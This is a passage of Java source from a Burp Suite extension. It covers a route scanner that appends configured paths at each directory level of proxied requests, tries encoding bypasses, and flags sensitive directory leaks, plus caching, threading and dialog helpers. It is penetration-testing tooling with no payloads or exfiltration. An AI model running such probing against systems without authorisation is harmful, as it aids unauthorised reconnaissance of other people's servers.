String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse requestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) { this.id = id; this.method = method; this.url = url; this.originalength = originalength; this.lowlength = lowlength; this.nolength = nolength; this.isSuccess = isSuccess; this.requestResponse = requestResponse; this.lowRequestResponse = lowRequestResponse; this.noRequestResponse = noRequestResponse; } } // perm 表格 private class URLTable extends JTable { public URLTable(TableModel tableModel) { super(tableModel); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); } @Override public void changeSelection(int row, int col, boolean toggle, boolean extend) { PermEntry logEntry = permlog.get(row); originarequest.setMessage(logEntry.requestResponse.getRequest(), true); originaresponse.setMessage(logEntry.requestResponse.getResponse(), false); if (logEntry.lowRequestResponse == null || logEntry.noRequestResponse == null) { lowpermrequest.setMessage(null, false); lowpermresponse.setMessage(null, false); nopermrequest.setMessage(null, false); nopermresponse.setMessage(null, false); return; } lowpermrequest.setMessage(logEntry.lowRequestResponse.getRequest(), true); lowpermresponse.setMessage(logEntry.lowRequestResponse.getResponse(), false); nopermrequest.setMessage(logEntry.noRequestResponse.getRequest(), true); nopermresponse.setMessage(logEntry.noRequestResponse.getResponse(), false); currentlyDisplayedItem = logEntry.requestResponse; super.changeSelection(row, col, toggle, extend); } } } ================================================ FILE: src/main/java/burp/ui/RouteUI.java ================================================ package burp.ui; import burp.*; import burp.bean.RouteBean; import burp.utils.CustomScanIssue; import burp.utils.ExpressionUtils; import burp.utils.I18nUtils; import burp.utils.UrlCacheUtil; import burp.utils.Utils; import burp.utils.SmartRequestDetector; import javax.swing.*; import javax.swing.table.*; import java.awt.*; import java.awt.event.ActionEvent; import java.net.URL; import java.util.List; import java.util.*; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; import static burp.dao.RouteDao.*; /** * @Author Xm17 * @Date 2024-06-22 22:02 */ public class RouteUI implements UIHandler, IMessageEditorController, IHttpListener { private JPanel panel; // 主面板 private static IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求 private IMessageEditor HRequestTextEditor; // 请求 private IMessageEditor HResponseTextEditor; // 响应 private JTabbedPane tabbedPanereq; // 请求tab private JTabbedPane tabbedPaneresp; // 响应tab private static RouteIssusTable issusTable; // 问题表格 private RouteTable ruleTable; // 规则表格 private static final List issuslog = new ArrayList<>(); // urldata private static final List routelog = new ArrayList<>(); // routelog private JScrollPane issustablescrollpane; // 问题表格滚动面板 private JScrollPane ruleTableScrollPane; // 规则表格滚动面板 private JButton refreshButton; // 刷新按钮 private JButton clearButton; // 清空按钮 private JCheckBox passiveCheckBox; // 被动扫描选择框 private JTextField nameTextField; // name输入框 private JTextField pathTextField; // path输入框 private JTextField expressTextField; // express输入框 private JButton addButton; // 添加按钮 private JButton deleteButton; // 删除按钮 private JButton enableButton; // 开启按钮 private boolean passiveScan; // 是否被动扫描 private static List urlHashList = new ArrayList<>(); // urlHash列表 private static List routeList = new ArrayList<>(); // routeList列表 static Set uniqueUrl = new HashSet<>(); // 存放已经扫描出来的url private static final Lock lock = new ReentrantLock(); private static final Set discoveredIssues = Collections.synchronizedSet(new HashSet<>()); // 问题集合,用于去重 /** * 重置所有缓存(供外部调用) */ public static void resetAllCaches() { uniqueUrl.clear(); urlHashList.clear(); discoveredIssues.clear(); UrlCacheUtil.resetCache("route"); } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { if (toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && passiveScan) { synchronized (issuslog) { Thread thread = new Thread(new Runnable() { @Override public void run() { Check(new IHttpRequestResponse[]{iHttpRequestResponse},false); } }); thread.start(); } } } @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void init() { // 获取payload routeList = getRouteLists(); setupUI(); setupData(); } // 初始化数据 private void setupData() { //ruleTable List routeLists = getRouteLists(); for (int i = 0; i < routeLists.size(); i++) { RouteBean routeBean = routeLists.get(i); routelog.add(new RouteEntry(i, routeBean.getEnable(), routeBean.getName(), routeBean.getPath(), routeBean.getExpress())); } // 刷新 refreshButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { issusTable.updateUI(); routelog.clear(); List routeLists = getRouteLists(); for (int i = 0; i < routeLists.size(); i++) { RouteBean routeBean = routeLists.get(i); routelog.add(new RouteEntry(i, routeBean.getEnable(), routeBean.getName(), routeBean.getPath(), routeBean.getExpress())); } ruleTable.updateUI(); } }); // 清空 clearButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { issuslog.clear(); uniqueUrl.clear(); // 清空去重集合 UrlCacheUtil.resetCache("route"); // 清空URL缓存 issusTable.updateUI(); HRequestTextEditor.setMessage(new byte[0], true); HResponseTextEditor.setMessage(new byte[0], false); } }); // 被动扫描 passiveCheckBox.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { if (passiveCheckBox.isSelected()) { passiveScan = true; } else { passiveScan = false; } } }); // 添加规则 addButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { String name = nameTextField.getText(); String path = pathTextField.getText(); String express = expressTextField.getText(); RouteBean routeBean = new RouteBean(); routeBean.setEnable(1); routeBean.setName(name); routeBean.setPath(path); routeBean.setExpress(express); // 添加到数据库 addRoute(routeBean); routelog.clear(); List routeLists = getRouteLists(); for (int i = 0; i < routeLists.size(); i++) { RouteBean routeBean1 = routeLists.get(i); routelog.add(new RouteEntry(i, routeBean1.getEnable(), routeBean1.getName(), routeBean1.getPath(), routeBean1.getExpress())); } ruleTable.updateUI(); } }); // 删除选中 deleteButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { int selectedRow = ruleTable.getSelectedRow(); if (selectedRow == -1) { return; } RouteEntry routeEntry = routelog.get(selectedRow); RouteBean routeBean = new RouteBean(); routeBean.setName(routeEntry.name); routeBean.setPath(routeEntry.path); routeBean.setExpress(routeEntry.express); deleteRoute(routeBean); routelog.clear(); List routeLists = getRouteLists(); for (int i = 0; i < routeLists.size(); i++) { RouteBean routeBean1 = routeLists.get(i); routelog.add(new RouteEntry(i, routeBean1.getEnable(), routeBean1.getName(), routeBean1.getPath(), routeBean1.getExpress())); } ruleTable.updateUI(); } }); // 开启选中 enableButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { int selectedRow = ruleTable.getSelectedRow(); if (selectedRow == -1) { return; } RouteBean routeBean = new RouteBean(); RouteEntry routeEntry = routelog.get(selectedRow); if (routeEntry.enable == 1){ routeBean.setEnable(0); }else if (routeEntry.enable == 0){ routeBean.setEnable(1); } routeBean.setName(routeEntry.name); routeBean.setPath(routeEntry.path); routeBean.setExpress(routeEntry.express); updateRouteEnable(routeBean); routelog.clear(); List routeLists = getRouteLists(); for (int i = 0; i < routeLists.size(); i++) { RouteBean routeBean1 = routeLists.get(i); routelog.add(new RouteEntry(i, routeBean1.getEnable(), routeBean1.getName(), routeBean1.getPath(), routeBean1.getExpress())); } routeList = getRouteLists(); ruleTable.updateUI(); } }); } // 初始化ui private void setupUI() { // 注册消息监听 Utils.callbacks.registerHttpListener(this); panel = new JPanel(new BorderLayout()); // 添加一个JPanel 采用flowLayout布局 JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); // 添加一个刷新按钮 refreshButton = new JButton(I18nUtils.get("route.button.refresh")); topPanel.add(refreshButton); // 添加一个清空按钮 clearButton = new JButton(I18nUtils.get("route.button.clear")); topPanel.add(clearButton); // 添加一个被动扫描选择框 passiveCheckBox = new JCheckBox(I18nUtils.get("route.checkbox.passive")); topPanel.add(passiveCheckBox); // 添加一个分割符号 // 添加一个提示的的Jlabel JLabel tipsLabel = new JLabel(I18nUtils.get("route.label.tips")); topPanel.add(tipsLabel); // 添加一个name的Jlabel JLabel nameLabel = new JLabel(I18nUtils.get("route.label.name")); topPanel.add(nameLabel); // 添加一个name的输入框 nameTextField = new JTextField(10); topPanel.add(nameTextField); // 添加一个path的Jlabel JLabel pathLabel = new JLabel(I18nUtils.get("route.label.path")); topPanel.add(pathLabel); // 添加一个path的输入框 pathTextField = new JTextField(10); topPanel.add(pathTextField); // 添加一个Express的Jlabel JLabel expressLabel = new JLabel(I18nUtils.get("route.label.express")); topPanel.add(expressLabel); // 添加一个express的输入框 expressTextField = new JTextField(10); topPanel.add(expressTextField); // 添加一个添加按钮 addButton = new JButton(I18nUtils.get("route.button.add")); topPanel.add(addButton); // 添加一个删除按钮 deleteButton = new JButton(I18nUtils.get("route.button.delete")); topPanel.add(deleteButton); // 添加一个开启选中规则按钮 enableButton = new JButton(I18nUtils.get("route.button.enable")); topPanel.add(enableButton); // 添加一个上下对称分割的面板 JSplitPane splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); splitPane.setResizeWeight(0.5); splitPane.setDividerLocation(0.5); // 上面的面板左右对称分割 JSplitPane topSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); topSplitPane.setResizeWeight(0.5); topSplitPane.setDividerLocation(0.5); // 添加RouteIssusTable issustablescrollpane = new JScrollPane(); issusTable = new RouteIssusTable(new RouteIssusModel()); issustablescrollpane.setViewportView(issusTable); topSplitPane.setLeftComponent(issustablescrollpane); // 添加RouteTable ruleTableScrollPane = new JScrollPane(); ruleTable = new RouteTable(new RouteModel()); ruleTableScrollPane.setViewportView(ruleTable); topSplitPane.setRightComponent(ruleTableScrollPane); // 下面的面板左右对称分割 JSplitPane bottomSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); bottomSplitPane.setResizeWeight(0.5); bottomSplitPane.setDividerLocation(0.5); HRequestTextEditor = Utils.callbacks.createMessageEditor(this, true); HResponseTextEditor = Utils.callbacks.createMessageEditor(this, false); tabbedPanereq = new JTabbedPane(); tabbedPanereq.addTab("Request", HRequestTextEditor.getComponent()); tabbedPaneresp = new JTabbedPane(); tabbedPaneresp.addTab("Response", HResponseTextEditor.getComponent()); bottomSplitPane.setLeftComponent(tabbedPanereq); bottomSplitPane.setRightComponent(tabbedPaneresp); splitPane.setTopComponent(topSplitPane); splitPane.setBottomComponent(bottomSplitPane); // 添加工具到顶部 panel.add(topPanel, BorderLayout.NORTH); panel.add(splitPane, BorderLayout.CENTER); } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return panel; } @Override public String getTabName() { return "RouteScan"; } // 核心方法 public static void Check(IHttpRequestResponse[] responses, boolean isSend) { lock.lock(); try { IHttpRequestResponse baseRequest = responses[0]; // 1. 基础请求信息提取 IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequest); URL baseUrl = analyzeRequest.getUrl(); String method = analyzeRequest.getMethod(); String originalPath = baseUrl.getPath(); // 2. 基础验证 if (!method.equals("GET") && !method.equals("POST")) { return; } // 验证后缀 if (Utils.isUrlBlackListSuffix(baseUrl.toString())) { return; } // 重复性检查 if (!isSend && !UrlCacheUtil.checkUrlUnique("route", method, baseUrl, analyzeRequest.getParameters())) { return; } // 3. 获取原始请求的完整内容 byte[] rawRequest = baseRequest.getRequest(); String rawRequestStr = Utils.helpers.bytesToString(rawRequest); List headers = analyzeRequest.getHeaders(); // 4. 遍历所有路由规则 for (RouteBean routeBean : routeList) { if (routeBean.getEnable() != 1) { continue; } // 5. 对每个路径生成测试路径 List testPaths = generateTestPaths(originalPath, routeBean.getPath()); for (String testPath : testPaths) { String fullTestUrl = baseUrl.getHost() + testPath; // 去重检查(仅被动扫描时检查,右键菜单调用时跳过) if (!isSend && uniqueUrl.contains(fullTestUrl)) { continue; } uniqueUrl.add(fullTestUrl); // 6. 构造新的请求 byte[] newRequest = buildNewRequest( baseRequest.getHttpService(), headers, method, testPath, analyzeRequest.getBodyOffset(), rawRequest ); // 7. 发送请求并处理响应(使用智能检测,自动尝试编码绕过) String fullUrl = baseUrl.getProtocol() + "://" + baseUrl.getHost() + (baseUrl.getPort() != -1 ? ":" + baseUrl.getPort() : "") + testPath; IHttpRequestResponse response = sendRequestWithSmartDetect( baseRequest.getHttpService(), fullUrl, newRequest); if (response != null && response.getResponse() != null) { processResponse(response, routeBean, baseRequest); } } } } catch (Exception e) { Utils.stderr.println("Error in Check: " + e.getMessage()); }finally { lock.unlock(); } } private static IHttpRequestResponse sendRequestWithSmartDetect(IHttpService httpService, String url, byte[] request) { SmartRequestDetector detector = new SmartRequestDetector(httpService); return detector.smartSendRequest(url, request); } private static List generateTestPaths(String originalPath, String payload) { List testPaths = new ArrayList<>(); // 清理路径中的矩阵参数(matrix parameters) originalPath = cleanPath(originalPath); String[] pathSegments = originalPath.split("/"); StringBuilder currentPath = new StringBuilder(); // Add root level test testPaths.add(payload); // Generate test paths for each directory level for (String segment : pathSegments) { if (!segment.isEmpty()) { if (currentPath.length() == 0) { currentPath.append("/").append(cleanSegment(segment)); } else { currentPath.append("/").append(cleanSegment(segment)); } testPaths.add(currentPath + payload); } } return testPaths; } /** * 清理整个路径中的矩阵参数 */ private static String cleanPath(String path) { // 移除路径中所有的矩阵参数 return path.replaceAll(";[^/]*", ""); } /** * 清理单个路径段中的矩阵参数 */ private static String cleanSegment(String segment) { int semicolonIndex = segment.indexOf(';'); if (semicolonIndex != -1) { return segment.substring(0, semicolonIndex); } return segment; } private static byte[] buildNewRequest( IHttpService httpService, List headers, String method, String newPath, int bodyOffset, byte[] originalRequest ) { // 1. 更新请求头中的路径 List newHeaders = new ArrayList<>(); for (int i = 0; i < headers.size(); i++) { if (i == 0) { // 更新第一行的请求路径 String firstLine = headers.get(0); String[] parts = firstLine.split(" "); parts[1] = newPath; newHeaders.add(String.join(" ", parts)); } else { newHeaders.add(headers.get(i)); } } // 2. 构建新请求 if (method.equals("POST")) { // POST请求保留原始请求体 byte[] body = Arrays.copyOfRange(originalRequest, bodyOffset, originalRequest.length); return Utils.helpers.buildHttpMessage(newHeaders, body); } else { // GET请求不需要请求体 return Utils.helpers.buildHttpMessage(newHeaders, null); } } private static IHttpRequestResponse sendRequest(IHttpService httpService, byte[] request) { try { return Utils.callbacks.makeHttpRequest(httpService, request); } catch (Exception e) { Utils.stderr.println("Error sending request: " + e.getMessage()); return null; } } private static void processResponse( IHttpRequestResponse response, RouteBean routeBean, IHttpRequestResponse originalRequest ) { try { ExpressionUtils expressionUtils = new ExpressionUtils(response); if (expressionUtils.process(routeBean.getExpress())) { // 添加到结果列表 addIssus( routeBean.getName(), expressionUtils.getUrl(), String.valueOf(expressionUtils.getCode()), response ); // 创建扫描问题 IScanIssue issue = new CustomScanIssue( originalRequest.getHttpService(), new URL(expressionUtils.getUrl()), new IHttpRequestResponse[]{response}, "Directory leakage", "A sensitive directory leak vulnerability was discovered.", "High", "Certain" ); Utils.callbacks.addScanIssue(issue); } } catch (Exception e) { Utils.stderr.println("Error processing response: " + e.getMessage()); } } // 追加路径 public static List append(String basePath, String stringToAppend) { List result = new ArrayList<>(); String[] paths = basePath.split("/"); StringBuilder currentPath = new StringBuilder(); for (int i = 0; i < paths.length; i++) { String path = paths[i]; if (!path.isEmpty()) { if (i == 0) { currentPath.append(path); } else { currentPath.append("/").append(path); } result.add(currentPath.toString() + stringToAppend); } } if (!basePath.endsWith("/")) { result.remove(result.size() - 1); } result.add(stringToAppend); return result; } private static String generateIssueKey(String name, String url, String status) { return String.format("%s:%s:%s", name, url, status); } public static void addIssus(String name, String url, String Status, IHttpRequestResponse requestResponse) { String issueKey = generateIssueKey(name, url, Status); synchronized (issuslog) { if (discoveredIssues.add(issueKey)) { // Set.add()会返回false如果元素已存在 issuslog.add(new RouteIssusEntry(issuslog.size(), name, url, Status, requestResponse)); issusTable.updateUI(); } } } // RouteIssusModel模型 static class RouteIssusModel extends AbstractTableModel { @Override public int getRowCount() { return issuslog.size(); } @Override public int getColumnCount() { return 4; } @Override public Object getValueAt(int rowIndex, int columnIndex) { RouteIssusEntry logEntry = issuslog.get(rowIndex); switch (columnIndex) { case 0: return logEntry.id; case 1: return logEntry.issueName; case 2: return logEntry.url; case 3: return logEntry.status; default: return ""; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "Issus name"; case 2: return "url"; case 3: return "status"; default: return ""; } } } // RouteIssus实体 private static class RouteIssusEntry { final int id; final String issueName; final String url; final String status; final IHttpRequestResponse requestResponse; public RouteIssusEntry(int id, String issueName, String url, String status, IHttpRequestResponse requestResponse) { this.id = id; this.issueName = issueName; this.url = url; this.status = status; this.requestResponse = requestResponse; } } // RouteIssusTable表格 private class RouteIssusTable extends JTable { public RouteIssusTable(TableModel tableModel) { super(tableModel); TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); columnModel.getColumn(1).setMinWidth(100); columnModel.getColumn(1).setMaxWidth(150); columnModel.getColumn(3).setMaxWidth(50); } @Override public void changeSelection(int row, int col, boolean toggle, boolean extend) { RouteIssusEntry issusEntry = issuslog.get(row); HRequestTextEditor.setMessage(issusEntry.requestResponse.getRequest(), true); if (issusEntry.requestResponse.getResponse() == null) { HResponseTextEditor.setMessage(new byte[0], false); } else { HResponseTextEditor.setMessage(issusEntry.requestResponse.getResponse(), false); } currentlyDisplayedItem = issusEntry.requestResponse; super.changeSelection(row, col, toggle, extend); } } // 路由规则实体 public static class RouteEntry { final int id; int enable; final String name; final String path; final String express; public RouteEntry(int id, int enable, String name, String path, String express) { this.id = id; this.enable = enable; this.name = name; this.path = path; this.express = express; } } // 路由表格模型 static class RouteModel extends AbstractTableModel { @Override public int getRowCount() { return routelog.size(); } @Override public int getColumnCount() { return 5; } @Override public Object getValueAt(int rowIndex, int columnIndex) { RouteEntry logEntry = routelog.get(rowIndex); switch (columnIndex) { case 0: return logEntry.id; case 1: return logEntry.enable == 1 ? "开启" : "关闭"; case 2: return logEntry.name; case 3: return logEntry.path; case 4: return logEntry.express; default: return ""; } } @Override public String getColumnName(int column) { switch (column) { case 0: return "id"; case 1: return "enable"; case 2: return "name"; case 3: return "path"; case 4: return "express"; default: return ""; } } } // 路由表格 private class RouteTable extends JTable { public RouteTable(TableModel tableModel) { super(tableModel); // 设置列宽 TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setMaxWidth(50); columnModel.getColumn(1).setMaxWidth(50); columnModel.getColumn(2).setMinWidth(100); columnModel.getColumn(2).setMaxWidth(150); } @Override public TableCellRenderer getCellRenderer(int row, int column) { return new CustomTableCellRenderer(); } } // 自定义TableCellRenderer,用于将"开启"/"关闭"显示为特定颜色等样式 private static class CustomTableCellRenderer extends DefaultTableCellRenderer { @Override public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column); if (value instanceof String) { String text = (String) value; if ("开启".equals(text)) { setForeground(Color.GREEN); // 设置开启状态的文字颜色为绿色 } else if ("关闭".equals(text)) { setForeground(Color.RED); // 设置关闭状态的文字颜色为红色 } } return this; } } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/CacheManager.java ================================================ package burp.ui.SimilarHelper; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; public class CacheManager { // 域名-IP映射缓存 private static final ConcurrentMap domainIPCache = new ConcurrentHashMap<>(); // 项目域名缓存 (项目ID -> 域名集合) private static final ConcurrentMap> projectDomainCache = new ConcurrentHashMap<>(); // 项目URL缓存 (项目ID -> URL集合) private static final ConcurrentMap> projectUrlCache = new ConcurrentHashMap<>(); // 缓存过期时间(毫秒) private static final long CACHE_EXPIRY = 24 * 60 * 60 * 1000; // 24小时 // 域名-IP缓存时间记录 private static final ConcurrentMap domainIPCacheTime = new ConcurrentHashMap<>(); /** * 缓存域名的IP地址 */ public static void cacheIP(String domain, String ip) { domainIPCache.put(domain.toLowerCase(), ip); domainIPCacheTime.put(domain.toLowerCase(), System.currentTimeMillis()); } /** * 获取缓存的IP地址 */ public static String getCachedIP(String domain) { String lowerDomain = domain.toLowerCase(); Long cacheTime = domainIPCacheTime.get(lowerDomain); if (cacheTime == null) { return null; } // 检查缓存是否过期 if (System.currentTimeMillis() - cacheTime > CACHE_EXPIRY) { domainIPCache.remove(lowerDomain); domainIPCacheTime.remove(lowerDomain); return null; } return domainIPCache.get(lowerDomain); } /** * 缓存项目的域名 */ public static void cacheProjectDomain(int projectId, String domain) { projectDomainCache.computeIfAbsent(projectId, k -> ConcurrentHashMap.newKeySet()) .add(domain.toLowerCase()); } /** * 检查域名是否已缓存 */ public static boolean isProjectDomainCached(int projectId, String domain) { Set domains = projectDomainCache.get(projectId); return domains != null && domains.contains(domain.toLowerCase()); } /** * 缓存项目的URL */ public static void cacheProjectUrl(int projectId, String url) { projectUrlCache.computeIfAbsent(projectId, k -> ConcurrentHashMap.newKeySet()) .add(url); } /** * 检查URL是否已缓存 */ public static boolean isProjectUrlCached(int projectId, String url) { Set urls = projectUrlCache.get(projectId); return urls != null && urls.contains(url); } /** * 清除指定项目的缓存 */ public static void clearProjectCache(int projectId) { projectDomainCache.remove(projectId); projectUrlCache.remove(projectId); } /** * 清除所有缓存 */ public static void clearAllCache() { domainIPCache.clear(); domainIPCacheTime.clear(); projectDomainCache.clear(); projectUrlCache.clear(); } /** * 获取缓存统计信息 */ public static Map getCacheStats() { Map stats = new HashMap<>(); // 统计域名IP缓存数量 stats.put("domainIpCache", domainIPCache.size()); // 统计所有项目的域名缓存总数 int totalDomains = projectDomainCache.values().stream() .mapToInt(Set::size) .sum(); stats.put("projectDomainCache", totalDomains); // 统计所有项目的URL缓存总数 int totalUrls = projectUrlCache.values().stream() .mapToInt(Set::size) .sum(); stats.put("projectUrlCache", totalUrls); return stats; } /** * 获取指定项目的缓存统计 */ public static Map getProjectCacheStats(int projectId) { Map stats = new HashMap<>(); Set domains = projectDomainCache.get(projectId); stats.put("domains", domains != null ? domains.size() : 0); Set urls = projectUrlCache.get(projectId); stats.put("urls", urls != null ? urls.size() : 0); return stats; } /** * 检查并清理过期的IP缓存 */ public static void cleanExpiredIPCache() { long currentTime = System.currentTimeMillis(); Set expiredDomains = new HashSet<>(); domainIPCacheTime.forEach((domain, cacheTime) -> { if (currentTime - cacheTime > CACHE_EXPIRY) { expiredDomains.add(domain); } }); expiredDomains.forEach(domain -> { domainIPCache.remove(domain); domainIPCacheTime.remove(domain); }); } /** * 检查域名IP是否需要刷新缓存 */ public static boolean needsIPRefresh(String domain) { String lowerDomain = domain.toLowerCase(); Long cacheTime = domainIPCacheTime.get(lowerDomain); return cacheTime == null || System.currentTimeMillis() - cacheTime > CACHE_EXPIRY; } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/TableRenderer.java ================================================ package burp.ui.SimilarHelper; import javax.swing.*; import javax.swing.table.DefaultTableCellRenderer; import java.awt.*; public class TableRenderer extends DefaultTableCellRenderer { private static final Color ALTERNATE_COLOR = new Color(240, 240, 240); private static final int MAX_TEXT_LENGTH = 100; @Override public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { Component c = super.getTableCellRendererComponent( table, value, isSelected, hasFocus, row, column); if (!isSelected) { c.setBackground(row % 2 == 0 ? Color.WHITE : ALTERNATE_COLOR); } if (value instanceof String) { String text = (String) value; if (text.length() > MAX_TEXT_LENGTH) { setText(text.substring(0, MAX_TEXT_LENGTH - 3) + "..."); setToolTipText(text); } else { setText(text); setToolTipText(text); } } // 为特定列设置对齐方式 if (table.getColumnName(column).equals("ID")) { setHorizontalAlignment(SwingConstants.CENTER); } else if (table.getColumnName(column).equals("Time")) { setHorizontalAlignment(SwingConstants.CENTER); } else if (table.getColumnName(column).equals("IP")) { setHorizontalAlignment(SwingConstants.CENTER); } else { setHorizontalAlignment(SwingConstants.LEFT); } // 设置边框 setBorder(BorderFactory.createCompoundBorder( getBorder(), BorderFactory.createEmptyBorder(1, 4, 1, 4) )); return c; } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/ThreadManager.java ================================================ package burp.ui.SimilarHelper; import burp.utils.Utils; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicInteger; public class ThreadManager { private static final int CORE_POOL_SIZE = Runtime.getRuntime().availableProcessors(); private static final int MAX_POOL_SIZE = CORE_POOL_SIZE * 2; private static final long KEEP_ALIVE_TIME = 60L; private static final ExecutorService executorService = new ThreadPoolExecutor( CORE_POOL_SIZE, MAX_POOL_SIZE, KEEP_ALIVE_TIME, TimeUnit.SECONDS, new LinkedBlockingQueue<>(1000), new ThreadFactory() { private final AtomicInteger counter = new AtomicInteger(); @Override public Thread newThread(Runnable r) { Thread thread = new Thread(r); thread.setName("SimilarUI-Worker-" + counter.incrementAndGet()); thread.setDaemon(true); return thread; } }, new ThreadPoolExecutor.CallerRunsPolicy() ); public static void execute(Runnable task) { executorService.execute(() -> { try { task.run(); } catch (Exception e) { Utils.stderr.println("Task execution failed: " + e.getMessage()); e.printStackTrace(Utils.stderr); } }); } public static Future submit(Callable task) { return executorService.submit(() -> { try { return task.call(); } catch (Exception e) { Utils.stderr.println("Task execution failed: " + e.getMessage()); e.printStackTrace(Utils.stderr); throw e; } }); } public static void shutdown() { executorService.shutdown(); try { if (!executorService.awaitTermination(5, TimeUnit.SECONDS)) { executorService.shutdownNow(); } } catch (InterruptedException e) { executorService.shutdownNow(); Thread.currentThread().interrupt(); } } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/bean/Domain.java ================================================ package burp.ui.SimilarHelper.bean; import burp.bean.SimilarDomainResultBean; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Objects; public class Domain { private static int counter = 0; private int id; private final String domain; private final String ip; private final String timestamp; public Domain(String domain, String ip) { this.id = ++counter; // 使用临时ID this.domain = domain; this.ip = ip; this.timestamp = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") .format(new Date()); } public Domain(SimilarDomainResultBean bean) { this.id = bean.getId(); this.domain = bean.getDomain(); this.ip = bean.getIp(); this.timestamp = formatTimestamp(bean.getCreateTime()); } private String formatTimestamp(String timestamp) { if (timestamp == null || timestamp.trim().isEmpty()) { return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()); } return timestamp; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getDomain() { return domain; } public String getIp() { return ip; } public String getTimestamp() { return timestamp; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Domain that = (Domain) o; return domain.equals(that.domain); } @Override public int hashCode() { return Objects.hash(domain); } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/bean/Project.java ================================================ package burp.ui.SimilarHelper.bean; import burp.bean.SimilarProjectBean; import burp.dao.SimilarDomainConfigDao; import java.util.ArrayList; import java.util.List; public class Project { private int id; private String name; private String createTime; private List mainDomains = new ArrayList<>(); private List domainEntries = new ArrayList<>(); private List urlEntries = new ArrayList<>(); public Project(SimilarProjectBean bean) { this.id = bean.getId(); this.name = bean.getName(); this.createTime = bean.getCreateTime(); } public int getId() { return id; } public String getName() { return name; } public List getMainDomains() { return mainDomains; } public void setMainDomains(List domains) { this.mainDomains = new ArrayList<>(domains); // 更新数据库 SimilarDomainConfigDao.saveDomainConfigs(id, domains); } public List getDomainEntries() { return domainEntries; } public List getUrlEntries() { return urlEntries; } public void addDomainEntry(Domain entry) { if (!domainEntries.contains(entry)) { domainEntries.add(entry); } } public void addUrlEntry(URL entry) { if (!urlEntries.contains(entry)) { urlEntries.add(entry); } } @Override public String toString() { return name; } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/bean/URL.java ================================================ package burp.ui.SimilarHelper.bean; import java.text.SimpleDateFormat; import java.util.Date; public class URL { private static int counter = 0; private int id; private String url; private String timestamp; public URL(String url) { this.id = ++counter; this.url = url; this.timestamp = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss") .format(new Date()); } public int getId() { return id; } public String getUrl() { return url; } public String getTimestamp() { return timestamp; } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/dialog/DomainConfigDialog.java ================================================ package burp.ui.SimilarHelper.dialog; import burp.ui.SimilarHelper.bean.Project; import burp.utils.I18nUtils; import javax.swing.*; import java.awt.*; import java.util.ArrayList; import java.util.List; public class DomainConfigDialog extends JDialog { private DefaultListModel listModel; private JList domainList; private Project currentProject; public DomainConfigDialog(Window owner, Project project) { super(owner, I18nUtils.get("similar.dialog.domain_config_title"), ModalityType.APPLICATION_MODAL); this.currentProject = project; initializeUI(); loadDomains(); setSize(400, 500); setLocationRelativeTo(owner); } private void initializeUI() { setLayout(new BorderLayout(5, 5)); // 创建列表模型和列表 listModel = new DefaultListModel<>(); domainList = new JList<>(listModel); domainList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); // 添加滚动面板 JScrollPane scrollPane = new JScrollPane(domainList); // 创建按钮面板 JPanel buttonPanel = new JPanel(new FlowLayout(FlowLayout.CENTER, 5, 5)); JButton addButton = new JButton(I18nUtils.get("similar.dialog.add_domain")); JButton editButton = new JButton(I18nUtils.get("similar.dialog.edit_domain")); JButton deleteButton = new JButton(I18nUtils.get("similar.dialog.delete_domain")); JButton saveButton = new JButton(I18nUtils.get("similar.dialog.save")); buttonPanel.add(addButton); buttonPanel.add(editButton); buttonPanel.add(deleteButton); buttonPanel.add(saveButton); // 添加组件到对话框 JPanel mainPanel = new JPanel(new BorderLayout(5, 5)); mainPanel.setBorder(BorderFactory.createEmptyBorder(10, 10, 10, 10)); mainPanel.add(new JLabel(I18nUtils.get("similar.dialog.domain_list")), BorderLayout.NORTH); mainPanel.add(scrollPane, BorderLayout.CENTER); 